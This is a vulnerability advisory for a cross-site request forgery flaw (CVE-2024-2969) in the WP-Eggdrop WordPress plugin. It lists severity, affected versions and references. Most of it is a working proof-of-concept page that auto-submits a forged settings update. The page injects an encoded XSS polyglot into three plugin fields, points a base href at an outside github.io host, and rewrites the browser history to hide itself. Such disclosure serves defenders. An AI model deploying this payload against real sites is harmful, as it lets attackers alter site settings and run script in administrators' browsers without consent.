Description

The WP-Eggdrop plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.1. This is due to missing or incorrect nonce validation on the wpegg_updateOptions() function. This makes it possible for unauthenticated attackers to update the plugin’s settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Version

<= 0.1

PoC :

<html>
  <!-- eneriiiiiii -->
  <body>
    <form action="http://[ASSETS]/wp-admin/options-general.php?page=wpegg" method="POST">
      <input type="hidden" name="wpegg&#95;server" value="JavaScript&#58;&#47;&#47;&#37;0A&#47;&#42;&#63;&apos;&#47;&#42;&#92;&#92;&apos;&#47;&#42;&quot;&#47;&#42;&#92;&#92;&quot;&#47;&#42;&#96;&#47;&#42;&#92;&#92;&#96;&#47;&#42;&apos;&#41;&#47;&#42;&lt;&#33;&#45;&#45;&gt;&lt;&#47;Title&#47;&lt;&#47;Style&#47;&lt;&#47;Script&#47;&lt;&#47;textArea&#47;&lt;&#47;iFrame&#47;&lt;&#47;noScript&gt;&#92;&#92;74k&lt;K&#47;contentEditable&#47;autoFocus&#47;OnFocus&#61;&#47;&#42;&#36;&#123;&#47;&#42;&#47;&#59;&#123;&#47;&#42;&#42;&#47;&#40;confirm&#41;&#40;1331&#43;6&#41;&#125;&#47;&#47;&gt;&lt;Base&#47;Href&#61;&#47;&#47;ener1&#45;s3c&#46;github&#46;io&#47;&#92;&#92;76&#45;&#45;&gt;" />
      <input type="hidden" name="wpegg&#95;port" value="666" />
      <input type="hidden" name="wpegg&#95;password" value="JavaScript&#58;&#47;&#47;&#37;0A&#47;&#42;&#63;&apos;&#47;&#42;&#92;&#92;&apos;&#47;&#42;&quot;&#47;&#42;&#92;&#92;&quot;&#47;&#42;&#96;&#47;&#42;&#92;&#92;&#96;&#47;&#42;&apos;&#41;&#47;&#42;&lt;&#33;&#45;&#45;&gt;&lt;&#47;Title&#47;&lt;&#47;Style&#47;&lt;&#47;Script&#47;&lt;&#47;textArea&#47;&lt;&#47;iFrame&#47;&lt;&#47;noScript&gt;&#92;&#92;74k&lt;K&#47;contentEditable&#47;autoFocus&#47;OnFocus&#61;&#47;&#42;&#36;&#123;&#47;&#42;&#47;&#59;&#123;&#47;&#42;&#42;&#47;&#40;confirm&#41;&#40;1331&#43;6&#41;&#125;&#47;&#47;&gt;&lt;Base&#47;Href&#61;&#47;&#47;ener1&#45;s3c&#46;github&#46;io&#47;&#92;&#92;76&#45;&#45;&gt;" />
      <input type="hidden" name="wpegg&#95;message" value="JavaScript&#58;&#47;&#47;&#37;0A&#47;&#42;&#63;&apos;&#47;&#42;&#92;&#92;&apos;&#47;&#42;&quot;&#47;&#42;&#92;&#92;&quot;&#47;&#42;&#96;&#47;&#42;&#92;&#92;&#96;&#47;&#42;&apos;&#41;&#47;&#42;&lt;&#33;&#45;&#45;&gt;&lt;&#47;Title&#47;&lt;&#47;Style&#47;&lt;&#47;Script&#47;&lt;&#47;textArea&#47;&lt;&#47;iFrame&#47;&lt;&#47;noScript&gt;&#92;&#92;74k&lt;K&#47;contentEditable&#47;autoFocus&#47;OnFocus&#61;&#47;&#42;&#36;&#123;&#47;&#42;&#47;&#59;&#123;&#47;&#42;&#42;&#47;&#40;confirm&#41;&#40;1331&#43;6&#41;&#125;&#47;&#47;&gt;&lt;Base&#47;Href&#61;&#47;&#47;ener1&#45;s3c&#46;github&#46;io&#47;&#92;&#92;76&#45;&#45;&gt;" />
      <input type="hidden" name="wpegg&#95;submit" value="Update&#32;Options&#32;Â&#187;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reference

  • https://plugins.trac.wordpress.org/browser/wp-eggdrop/trunk/wp-eggdrop.php#L215
  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-eggdrop/wp-eggdrop-01-cross-site-request-forgery-to-settings-update
  • https://www.cve.org/CVERecord?id=CVE-2024-2969